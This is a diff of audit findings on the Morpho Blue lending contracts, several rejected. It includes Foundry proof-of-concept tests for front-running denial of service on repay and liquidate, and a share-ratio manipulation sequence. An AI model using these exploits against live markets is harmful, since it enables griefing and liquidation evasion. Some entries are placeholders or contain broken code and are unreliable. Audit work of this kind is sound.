+
+
+
+### code should calculate fee share amount directly from interest _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L486-L486](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L486-L486)
+
+code should calculate fee share amount directly from interest amount and calculating fee amount(in token) impacts the real fee because of rounding error.
+
+the issue is here that code calculates fee amount(in token) first then converts it to the share amount. as in Morpho the share has more precision that token amount (1 to 0^6) it's better to calculate the share amount directly. as shown in [#501](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/findings/7ba7f18d-92a1-4461-a76d-6392fda204a3) fee can be 0 or off by 10% to 100% because of rounding error but if code calculates share amount directly from interest the division rounding errors will be near zero(10^6 times less).
+
+calculating share amount directly will multiply `share per token = 10^6` in nominator and would prevent rounding errors and code would be more immune to rounding errors and can support more range of (token precision, APY, fee%, elapsed time). (support means the results won't be far off because of rounding error)
+
+
+
+
+### attacker can cause revert for tx which pays full debt share by front-running and paying back of small amount of user debt
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L284-L284](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L284-L284)
+
+this line will allow hacker to front run users and cause revert for users who wants to pay full debt, because attacker can front-run user tx and pay small amount of his debt and user tx which wants to pay all amounts will revert in this line. I believe this has Medium severity because when users are near liquidation they may try to fully pay their debt but attacker can DOS them. of course users can pay partial debt but normal users they will not understand why their tx is reverting and in the end they will get liquidated.
+
+I think when calculating repay amount(in line 280) code should perform the following to share amount, this way even if user tries to pay more amount code will justify the amount to user max payment.
+`shares = min(shares, market[id].totalBorrrowShares)`
+
+with this solution user can set `uint256.max` and code will automatically choose the total deb share of user and attacker can cause revert.
+
+
+
+### The Liquidation incentive is not aligned _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The liquidation incentive is based on liquidationIncentiveFactor and LLTV. As per the docs, the Liquidator receives the corresponding value of the collateral, plus a relative incentive.
+However, we couldn't confirm this during our tests.
+
+Below POC demonstrates the liquidation of a single borrower in the pool and the liquidator doesn't receive more tokens than the first supplied collateral.
+
+Please kindly create a new test.t.sol file in the integration folder and reproduce below;
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.19;
+import "../../../lib/forge-std/src/Test.sol";
+import "../../../lib/forge-std/src/console.sol";
+import "../../../src/Morpho.sol";
+import {ERC20Mock} from "../../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../../src/mocks/OracleMock.sol";
+
+import {IrmMock} from "../../../src/mocks/IrmMock.sol";
+import {MarketParamsLib} from "../../../src/libraries/MarketParamsLib.sol";
+import {IMorpho} from "../../../src/interfaces/IMorpho.sol";
+import {MorphoLib} from "../../../src/libraries/periphery/MorphoLib.sol";
+
+contract MorphoTest is Test {
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using MathLib for uint256;
+ using SharesMathLib for uint256;
+
+ IMorpho internal morpho;
+ ERC20Mock collateralToken; // Collateral token
+ ERC20Mock usdc; // USDC token
+ OracleMock mockOracle;
+ IrmMock mockIrm;
+ MarketParams internal marketParams;
+ Id internal id;
+
+ address internal SUPPLIER;
+ address internal ATTACKER;
+ address internal ONBEHALF;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+ address internal LIQUIDATOR;
+
+
+ function setUp() public {
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "collateralToken");
+ usdc = new ERC20Mock();
+ vm.label(address(usdc), "USDC");
+ mockOracle = new OracleMock();
+ mockIrm = new IrmMock();
+
+ morpho = IMorpho(address(new Morpho(address(this))));
+
+ morpho.enableIrm(address(mockIrm));
+ morpho.enableLltv(750000000000000000);
+
+ SUPPLIER = makeAddr("Supplier");
+ ATTACKER = makeAddr("ATTACKER");
+ LIQUIDATOR = makeAddr("Liquidator");
+ ONBEHALF = makeAddr("OnBehalf");
+
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+
+ mockOracle.setPrice(1e36);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(LIQUIDATOR);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ATTACKER);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ONBEHALF);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.setAuthorization(SUPPLIER, true);
+ morpho.setAuthorization(ATTACKER, true);
+ vm.stopPrank();
+ }
+
+ function testIncentiveFactor() public {
+
+ MarketParams memory goodMarketParams = MarketParams({
+ loanToken: address(usdc),
+ collateralToken: address(collateralToken),
+ oracle: address(mockOracle),
+ irm: address(mockIrm),
+ lltv: 750000000000000000 // 75%
+ });
+ morpho.createMarket(goodMarketParams);
+
+ // Mint USDC to LIQUIDATOR
+ usdc.setBalance(LIQUIDATOR, (1e18)); // 100B USDC
+ // console.log("USDC Balance of LIQUIDATOR - first mint : ", usdc.balanceOf(LIQUIDATOR));
+
+ // Mint collateral to the SUPPLIER
+ collateralToken.setBalance(SUPPLIER, 1e24);
+ console.log("Collateral Token Balance of SUPPLIER before supplyCollateral:----->", collateralToken.balanceOf(SUPPLIER));
+
+ // Supply collateral to the market by SUPPLIER
+ uint256 suppliedCollateralAmount = 1e24;
+ vm.prank(SUPPLIER);
+ morpho.supplyCollateral(goodMarketParams, suppliedCollateralAmount, SUPPLIER, ""); // All-in by the SUPPLIER
+ console.log("Collateral Token Balance of SUPPLIER after supplyCollateral :", collateralToken.balanceOf(SUPPLIER));
+
+ // Supply loanToken to the market by the liquidator
+ uint256 suppliedAmount = 1e9;
+ changePrank(LIQUIDATOR);
+ morpho.supply(goodMarketParams, suppliedAmount , 0, LIQUIDATOR, "");
+ // console.log("USDC Balance of LIQUIDATOR - after supply: ", usdc.balanceOf(LIQUIDATOR));
+
+ // Borrow loanToken by the SUPPLIER
+ changePrank(SUPPLIER);
+ morpho.borrow(goodMarketParams, suppliedAmount, 0 , SUPPLIER, SUPPLIER);
+ console.log("SUPPLIER's USDC BALANCE after borrow :", usdc.balanceOf(SUPPLIER));
+
+
+
+ mockOracle.setPrice(1); // set the price to 1 for liquidation - Oracle malfunction may be
+ uint256 priceCollateral = 1;
+ id = marketParams.id();
+
+ uint256 liquidationIncentiveFactor = 1.15e18; // let's hardcode this to the max possible.
+
+
+
+ uint256 amountSeized = suppliedCollateralAmount; // liquidator would like to have the full collateraltoken
+
+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+
+
+ uint256 liquidatorCollateralTokenBalanceBefore = collateralToken.balanceOf(LIQUIDATOR);
+ console.log("Loantoken balance of Liquidator B4 liquidation", usdc.balanceOf(LIQUIDATOR));//
+ console.log("Collateral token balance of Liquidator B4 liquidation", liquidatorCollateralTokenBalanceBefore);//
+
+ changePrank(LIQUIDATOR);
+
+
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(goodMarketParams, SUPPLIER, amountSeized, 0, hex"");
+
+ uint256 liquidatorCollateralTokenBalanceAfter = collateralToken.balanceOf(LIQUIDATOR);
+
+ console.log("Loantoken balance of Liquidator after liquidation", usdc.balanceOf(LIQUIDATOR));//
+ console.log("Collateral token balance of Liquidator after liquidation ------>", liquidatorCollateralTokenBalanceAfter);//
+
+ uint256 expectedCollateral = suppliedCollateralAmount - amountSeized;
+
+ uint256 expectedBorrowed = suppliedAmount - expectedRepaid;
+
+
+
+ assertEq(returnSeized, amountSeized, "returned seized amount");
+ assertEq(returnRepaid, expectedRepaid, "returned asset amount");
+
+ assertEq(morpho.collateral(id, SUPPLIER), expectedCollateral, "collateral");
+ assertEq(usdc.balanceOf(SUPPLIER), suppliedAmount, "SUPPLIER balance");
+
+ assertEq(usdc.balanceOf(address(morpho)), suppliedAmount - expectedBorrowed, "morpho balance");
+ assertEq(collateralToken.balanceOf(address(morpho)), expectedCollateral, "morpho collateral balance");
+ assertEq(collateralToken.balanceOf(LIQUIDATOR), amountSeized, "liquidator collateral balance");
+ bool isThereAnyIncentive = (liquidatorCollateralTokenBalanceAfter - suppliedCollateralAmount) > 0;
+ console.log("Did the Liquidator receive more collateral token than supplied by the borrower? :", isThereAnyIncentive);
+ }
+
+}
+```
+
+![liqincentive](https://gist.github.com/assets/65364747/daa9c0d8-4fb2-4584-be15-fb9d30a6710d)
+**Recommendation**:
+
+The team's weapon of choice.
+
+
+
+### Oracle can't be re-set and there's no fallback to back it
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The system lacks a setter function that can be utilized to change the Oracle. As the system doesn't have a fallback Oracle to back the primary (if exists), being unable to change the Oracle makes the system prone to having problematic markets, unjustified liquidations, and possibly the inability to withdraw assets if the Oracle becomes frozen/obsolete.
+
+Say a market's Oracle feed has been down and keeps returning the last price feed for a month as it's frozen. The users who happen to remain in the market will suffer terribly by being liquidated or by not being able to withdraw their assets.
+
+The same applies to problematic Oracles. The latest incident [here](https://x.com/SiloFinance/status/1731013330716795038?s=20) shows that even the trusted(!) Oracles should have a fallback Oracle.
+
+**Recommendation**:
+
+We believe there should be a setter at least to change the Oracle.
+And the fallback one is recommended as well.
+
+
+
+### Attacker can drive supply share-to-asset ratio down, setting effective fee to 0
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L180-L180](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L180-L180)
+
+**DO NOT CONFUSE THIS WITH THE EXISTING KNOWN ISSUE FOR BORROWER SHARES**. This issue is for supplier shares and has different impact.
+
+**Description**:
+
+At the creation of a market, its share-to-asset ratio is 1000000-1. However, by exploiting rounding and paying interest on self-loans, one can bring this down dramatically, perhaps even to 1-1e18 .
+
+I have added an appendix to this report, spelling out a sequence of calling that gets the share-to-asset ratio arbitrarily low. It takes about 2 million calls to get the ratio to 1-1, then another million to get the ratio to 1-2, then another 50000 to get the ratio to 1-3, then another 333333 to get the ratio to 1-4, etc. If run on an efficient-enough L2, then this is quite doable. Once the ratio reaches 1-1e6, 9 calls are needed to bring it to 1-1e7, then another 9 to 1-1e8, etc.
+
+After getting to numbers approaching 1e18, the share-to-asset ratio will be low enough that **0 fee shares will be minted upon accruing interest, setting the effective fee rate to 0**.
+
+
+Also, suppose someone creates a market in one transaction and then sends another transaction to fund the pool. It is theoretically possible to front-run their second transaction with this atack, causing them to get 0 shares for their deposit.
+
+**Recommendation**:
+
+1. Change the fee calculation to not depend on the asset-to-share ratio
+2. Add slippage protection to supply(); have a parameter for the minimum share-to-asset ratio at execution time.
+
+**Appendix**
+
+
+(Total + virtual assets, assets held by Alice, Total + virtual supply shares, shares held by Alice)
+
+```
+Start: (1, 1000000, 0)
+Alice supplies 1 share: (2, 1000001, 1)
+Alice supplies 1 share: (3, 1000002, 2)
+Alice supplies 1 share: (4, 1000003, 3)
+...
+Alice supplies 1 share: (1000000, 1999999, 999999)
+Alice withdraws 1 share: (1000000, 1999998, 999998)
+....
+Alice withdraws 1 share: (1000000, 1000000, 0)
+Alice borrows something
+0.001% interest accrues:
+Alice repays it: (1000001, 1000000, 0)
+Alice supplies 1 token: (1000002, 1000000, 0)
+...
+Alice supplies 1 token: (2000001, 1000000, 0)
+Alice supplies 2 token: (2000003, 1000000, 0)
+...
+```
+
+
+
+### [M] USDC blacklisted accounts can DoS the liquidate system
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+[M] USDC blacklisted accounts can DoS the liquidate system
+
+Both borrowers and lenders can be blacklisted during the life cycle of the loan.
+Also, msg.sender in the flashLoan function can be blacklisted, which would become a problem if this
+happens in the middle of a flash loan.
+
+Yet by using these popular tokens such as USDC, there exists a case where the funds for every
+user will locked permanently.
+
+Blacklisting is certainly not uncommon and is used many of the popular token used for payments.
+Some were blacklisted for just using tools like Tornado Cash to keep their transactions private, for example.
+
+Blacklisting will effect core functionality of the protocol, such as supply, withdraw, repay, liquidate
+and even during the flash loan function in a worst case scenario, whilst its executing before the flash
+loan needs to be paid back.
+
+For example, users who are due to be liquidated, will not be able to during the period of Blacklisting
+
+The liquidation process might DoS due to its reliance on paying back remaining tokens in USDC only.
+This will error where transferring USDC tokens to blacklisted users can cause the transaction to be reverted,
+disrupting the liquidation flow. This will result in a bad debt for the platform.
+
+
+
+
+**Recommendation**:
+Mitigation:
+
+There are a few mitigations to consider:
+Prevent USDC blacklisted users from opening a loan position until they are no longer blacklisted.
+This can be done by implementing a blacklist check during the borrowing process.
+Or allow repayment to the iquidator to be made in any token, not just USDC and
+introduce an escrow handled by the protocol which would allow for repayment to be made into the escrow.
+
+This way the transaction only reverts if the escrow becomes blacklisted.
+
+
+
+### [M] Tokens with a transfer value over uint96 will revert during Liquidation
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+[M] Tokens with a transfer value over uint96 will revert during Liquidation
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+During the liquidate function, the transfer of tokens will revert if the value is over uint96.
+
+Some tokens (e.g. UNI, COMP) revert if the value passed to approve or transfer is larger than uint96.
+
+Both of the above tokens have special case logic in approve that sets allowance
+to type(uint96).max if the approval amount is uint256(-1),
+which may cause issues with systems that expect the value passed to approve to be reflected
+in the allowances mapping.
+
+This means that
+
+If seizedAssets or repaidAssets exceed the uint96 limit in the liquidate function,
+and the token being liquidated is one like UNI or COMP, the transaction could revert.
+This is because these tokens may not handle values greater than uint96 appropriately.
+
+This is problematic because users will not be able to liquidate relevant positions, despite being
+in an unhealthy position.
+
+
+**Recommendation**:
+Implement checks within the Morpho protocol to ensure that any transfer or approval amount for tokens
+known to have special behaviors does not exceed their limits.
+
+Adapt the safeTransfer and safeTransferFrom methods to account for tokens with unique behaviors.
+This might involve querying the token contract to understand its limits and adjust the transfer logic accordingly.
+
+Maintain whitelists of tokens with known peculiarities and apply different logic for transfers involving these tokens
+or decide to exclude them from the protocol altogether.
+
+
+
+### [M] Use of proxied tokens like TUSD coud break the protocol
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+There is a strong possibility that Tokens whose code and logic can be changed in future can
+break the protocol and lock user funds.
+
+Vulnerability Details
+
+For a token like TUSD (supported by Chainlink TUSD/USD price feed), which has a proxy and
+implementation contract, if the implementation behind the proxy is changed,
+it can introduce features which break the protocol.
+
+Impact:
+
+Having separate addresses for proxy and implementation could lead to confusion and errors.
+For instance, a protocol might interact with the wrong address, updated by TUSD, leading to unexpected behaviors or
+failed transactions.
+
+Upgrades could introduce completely new features or mechanisms that the
+protocol isn't designed to handle, such as blacklisting mechanisms, or changes in decimal precision.
+
+Protocol may break in future for this collateral and block user funds deposited as collateral.
+Also can cause bad loans to be present with no way to liquidate them.
+**Recommendation**:
+
+Developers integrating with upgradable tokens should consider introducing logic that will freeze interactions with the token in question if an upgrade is detected. (e.g. the TUSD adapter used by MakerDAO).
+OR have a token whitelist which does not allow such tokens.
+
+
+
+### [M] setAuthorizationWithSig is not compliant with EIP712 & EIP155 standard _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The setAuthorizationWithSig function in the Morpho protocol plays a crucial role in managing
+authorizations for user positions through EIP712 typed structured data signing.
+It works by validating a signature against an Authorization structure, which includes parameters like nonce,
+deadline, and the addresses involved. This function is designed to ensure that the signature is valid
+and corresponds to the intended authorizer's action.
+
+The morphoSetAuthorizationWithSig function in the MorphoBundler contract acts as a gateway to the
+setAuthorizationWithSig function in the Morpho contract. It attempts to set the authorization using
+the provided signature and Authorization parameters. In case the signature has been frontrun or if any
+other issue arises, the function can catch and handle the exception, optionally skipping the revert
+based on the skipRevert parameter.
+
+Impact:
+
+The absence of explicit chain ID checks in the setAuthorizationWithSig function raises concerns
+about its compliance with EIP712 and EIP155 standards https://eips.ethereum.org/EIPS/eip-712
+
+EIP712 enhances the security of off-chain message signing by including a chain ID in the signing process,
+which EIP155 specifies. The vulnerability is existential in the future once Morpho is deployed on
+on multiple EVM compatible chains, which they have plans to do so.
+
+
+In a multi-chain environment, the lack of chain ID checks could allow malicious actors to
+exploit the same authorization on different chains. This could lead to unauthorized access
+or manipulation of user positions across these chains.
+
+While the Morpho protocol might operate securely on its current chain, expanding to other
+EVM-compatible chains without addressing this issue could expose the protocol to additional
+security vulnerabilities, particularly concerning the integrity of user authorizations.
+
+
+**Recommendation**:
+To align with EIP712 and EIP155 and enhance the security of the protocol, particularly in a multi-chain context, it is recommended to:
+
+Integrate chain ID checks within the signature validation process in setAuthorizationWithSig.
+Ensure that the signature is only valid on the intended chain, effectively mitigating the risk of cross-chain replay attacks.
+
+
+
+
+### borower/liquidator have incentive to front-run liquidators and revert their liquidation tx by paying back a small debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L381-L381](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L381-L381)
+
+borrower can front-run liquidator which tries to liquidate the whole position and pay a little of his debt and so liquidator tx will revert in this line.
+other liquidators who wants to liquidate the position themself have incentive to perform this attack. in the end this will cause bad debt because position will not be liquidated in time.
+
+to prevent this attack I think when user provides share amounts, code should perform:
+```
+repaidShare = max(market[id].totalBorrrowShare, repaidShare)
+```
+
+This way by setting `repaidShare` to `uint256.max` user will be sure that he is liquidating the whole position and his tx will not be reverted by 3rd party.
+
+
+
+### [M] Returnbomb of large gas amount on token contract when using .call method
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/SafeTransferLib.sol#L23
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/SafeTransferLib.sol#L31
+
+"Returnbomb" is when a smart contract (caller) calls another contract (callee),
+and the callee returns a massive chunk of bytes.
+
+This triggers a whopping gas cost for the caller and can lead to an Out-of-Gas (OOG) revert,
+preventing execution of critical functions.
+
+This is caused by the way EVM handles return values when using low-level calls.
+
+Basically, whenever you use .call() or staticcall() on an external contract, EVM automatically copies
+the whole returned data into the caller's memory.
+
+Setting a gas limit for low-level call would not be an effective mitigation strategy.
+
+As explained, the callee pushes the gas burden within the context of the caller due to memory expansion gas cost.
+
+
+In the SafeTransferLib the safeTransfer/safeTransferFrom function, multiple static calls are made to retrieve data about an ERC-20 token,
+
+These calls are made to an external contract (the ERC-20 token contract) that may not be, in this case, trusted.
+Or perhaps its a proxied token, whose implementation can be changed in future, which could end up
+returning large amounts of data when called externally.
+
+e.g
+
+function balanceOf(address account) public view returns (uint256 balance, uint256 timestamp, string memory extraData) {
+ balance = _balances[account];
+ timestamp = block.timestamp;
+ extraData = "Additional information here";
+}
+
+This is just an example, but additional features could be added.
+
+If the contract returns a massive chunk of bytes, it could trigger the "Returnbomb" attack, causing a revert.
+
+**Recommendation**:
+To mitigate the risk of this attack, you can use a library like "ExcessivelySafeCall." https://github.com/nomad-xyz/ExcessivelySafeCall
+Such a library allows you to specify the number of bytes to copy from the return data to memory,
+effectively limiting the risk associated with excessive return data from external calls.
+
+You could also use this for example in Yul.
+
+assembly {
+ let res: := call(sub(gas(), 2000), callee, 0, 0, 0, 0, 0)
+}
+
+
+
+### First depositor of the low decimal token will lose their asset partially when they withdraw it before lending _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+If a supplier supplies their asset for a low decimal loan token market as the first depositor, and they decide to withdraw it, they will lose their asset partially.
+
+Let's assume the user posses [GUSD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) (2 decimals), they request a high number of shares and they supply 10 GUSD accordignly, they will receive 9 GUSD once they withdraw it.
+
+Please kindly create a new test.t.sol file in the integration folder and reproduce below;
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.19;
+import "../../../lib/forge-std/src/Test.sol";
+import "../../../lib/forge-std/src/console.sol";
+import "../../../src/Morpho.sol";
+import {ERC20Mock} from "../../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../../src/mocks/OracleMock.sol";
+
+import {IrmMock} from "../../../src/mocks/IrmMock.sol";
+import {MarketParamsLib} from "../../../src/libraries/MarketParamsLib.sol";
+import {IMorpho} from "../../../src/interfaces/IMorpho.sol";
+import {MorphoLib} from "../../../src/libraries/periphery/MorphoLib.sol";
+
+
+contract MorphoTest is Test {
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using MathLib for uint256;
+ using SharesMathLib for uint256;
+
+ IMorpho internal morpho;
+ ERC20Mock collateralToken; // Collateral token
+ ERC20Mock usdc; // USDC token
+ ERC20Mock gusd; // GUSD
+ OracleMock mockOracle;
+ IrmMock mockIrm;
+ MarketParams internal marketParams;
+ Id internal id;
+
+ address internal SUPPLIER;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+
+
+
+ function setUp() public {
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "collateralToken");
+ usdc = new ERC20Mock();
+ vm.label(address(usdc), "USDC");
+ gusd = new ERC20Mock();
+ vm.label(address(gusd),"GUSD");
+ mockOracle = new OracleMock();
+ mockIrm = new IrmMock();
+
+ morpho = IMorpho(address(new Morpho(address(this))));
+
+ morpho.enableIrm(address(mockIrm));
+ morpho.enableLltv(750000000000000000); // 75% in WAD
+
+ SUPPLIER = makeAddr("Supplier");
+ ATTACKER = makeAddr("ATTACKER");
+ LIQUIDATOR = makeAddr("Liquidator");
+ ONBEHALF = makeAddr("OnBehalf");
+
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+
+ mockOracle.setPrice(1e36);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ gusd.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ usdc.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ gusd.approve(address(morpho), type(uint256).max);
+
+ }
+
+
+ function testShares() public {
+
+ MarketParams memory goodMarketParams = MarketParams({
+ loanToken: address(gusd),
+ collateralToken: address(collateralToken),
+ oracle: address(mockOracle),
+ irm: address(mockIrm),
+ lltv: 750000000000000000
+ });
+ morpho.createMarket(goodMarketParams);
+
+ uint256 fuzzBalance = 100;
+
+ gusd.setBalance(SUPPLIER, fuzzBalance);
+ console.log("Initial Balance", gusd.balanceOf(SUPPLIER));
+
+
+ uint256 sharesWanted = 9999995;
+ changePrank(SUPPLIER);
+ (uint256 assets, uint256 supplyShares) = morpho.supply(goodMarketParams, 0, sharesWanted , SUPPLIER, "");
+ console.log("GUSD Balance of SUPPLIER - after supply: ", gusd.balanceOf(SUPPLIER));
+ console.log("Assets supplied :", assets);
+
+ morpho.withdraw(goodMarketParams, 0, assets, SUPPLIER, SUPPLIER);
+ console.log("GUSD Balance of SUPPLIER - after wihdraw: ", gusd.balanceOf(SUPPLIER));
+
+ }
+
+
+}
+```
+![gusd](https://gist.github.com/assets/65364747/feac3dab-4d3d-4079-912b-d397a28e2e03)
+
+**Recommendation**:
+
+Actually, I don't mind 1 USD remained in the pool, and while the submission tells the story over the Gemini Dollars, this could be another asset with low decimals and with a really high value. Low supply like YFI token and making them much more valuable.
+So in theory, they would have lost 10% of the financial value of the supply.
+Recommendation: Let the user withdraw all the assets in the pool if the totalShares are zeroed by the withdraw.
+
+
+
+
+
+
+### Morpho.sol#liquidate() - Borrower can front run a full liquidation of his debt, by repaying dust amounts of shares _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The borrower can call `repay` with dust amounts of shares to force a revert of the liquidator, liquidating his entire shares.
+
+Let's inspect the line in `liquidate` where the revert occurs.
+```js
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+```
+If the borrower has 1000 shares and the liquidator wants to liquidate all of them, the borrower can front run the liquidator, repaying only 1 share and the liquidator's tx will revert with an underflow because he wants to liquidate 1000 shares while the borrower has only 999 shares.
+
+This can be done multiple times by the borrower, forcing liquidators to partially liquidate his position.
+In some extreme cases, if the price of the collateral is very volatile, the moment the price drops down and the borrower is eligible to be liquidated, he can pull off this attack until the price moves back up again. This way the borrower can dodge a liquidation, even though he should have been liquidated.
+
+**Coded PoC**
+
+Paste the following inside `test/integration/LiquidateIntegrationTest.sol` and run `forge test --mt testDoSLiquidateRepayingDustAmounts -vvvv`
+
+```js
+function testDoSLiquidateRepayingDustAmounts() public {
+ _setLltv(0.5e18);
+ uint256 amountSupplied = 10e18;
+ uint256 amountCollateral = 2e18;
+ uint256 amountBorrowed = 1e18;
+ _supply(amountSupplied);
+
+ oracle.setPrice(1e36);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ uint256 expectedBorrowShares = amountBorrowed.toSharesUp(0, 0);
+
+ (uint256 returnAssets, uint256 returnShares) =
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ assertEq(returnAssets, amountBorrowed, "returned asset amount");
+ assertEq(returnShares, expectedBorrowShares, "returned shares amount");
+ assertEq(morpho.totalBorrowAssets(id), amountBorrowed, "total borrow");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "borrow shares");
+ assertEq(morpho.borrowShares(id, BORROWER), expectedBorrowShares, "total borrow shares");
+ assertEq(loanToken.balanceOf(BORROWER), amountBorrowed, "borrower balance");
+ assertEq(loanToken.balanceOf(address(morpho)), amountSupplied - amountBorrowed, "morpho balance");
+
+ vm.warp(block.timestamp + 1 days);
+ oracle.setPrice(0.9e36);
+ morpho.accrueInterest(marketParams);
+
+ loanToken.setBalance(LIQUIDATOR, 10e18);
+
+ // Borrower front runs liquidate, repaying his debt with dust shares
+ vm.startPrank(BORROWER);
+ loanToken.approve(address(morpho), 10e18);
+ morpho.repay(marketParams, 0, 1, BORROWER, hex"");
+ vm.stopPrank();
+
+ // Liquidator can't liquidate with shares
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, 0, expectedBorrowShares, hex"");
+ }
+```
+**Recommendation**:
+Add a special case when `repaidShares == type(uint256).max` so a liquidator can specify that he wants to liquidate the entire position.
+
+
+
+### Missing Slippage
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+test
+
+
+
+### function accrueInterest() can't distinguish bad debt and it will keep creating interest based for bad debts
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L471-L471](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L471-L471)
+
+function `accureInterest()` continues to accrue interest for bad debt because code can't distinguish bad debt from good debt.
+this will happen until someone calls liquidate for those bad debt positions but when those positions have no to zero collateral no one will have incentive to pay gas and close positions.
+
+overall because of design limitation code can't detect bad debt immediately and this risk is not mentioned in the docs.
+
+this is no easy fix for this issue. one fix would be keep all the positions sorted based on `collateral / debt` ratio and keep the list up-to-date when users pay/receive loan or supply collateral.
+
+
+
+### Morpho should run callback after all internal operations are complete _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+Morpho in various functions, we'll focus on Morpho.supply() for this example, allows the msg.sender to receive a callback message. This is problematic not because a callback is made but when the callback is made. During the supply() function, Morpho updates states that reflect how much in assets are stored in Morpho. Once these updates are made, a callback is made to msg.sender. Finally, the funds are transferred from msg.sender to Morpho.
+
+Morpho, in their own introduction video, and I'm paraphrasing here, states that they anticipate Morpho to be a building block for other Defi projects. By granting a callback before all internal actions are complete, Morpho is allowing the msg.sender to be in a temporary state that maintains two characteristics:
+
+- Morpho has additional assets in their portfolio
+- The msg.sender's balance has not changed
+
+
+Although this is harmless to Morpho, any third-party app that utilizes Morpho will have to wrangle with the fact that this state may be accessible to a user. Imagine a scenario where an application relies on Morpho's supply balances to calculate a derivative. A malicious user could supply Morpho with a large amount of funds, maintain the same token balance due to the change, and then commit a malicious behavior. Only after the callback is complete does the malicious user have to transfer their tokens.
+
+
+
+- Proof of Concept
+Below is the supply function which shows how Morpho is updating various internal states, making the callback to the msg.sender, and withdrawing funds from msg.sender.
+
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ // AUDIT DONE: check that this is applied in every function call
+ // DONE reviewed
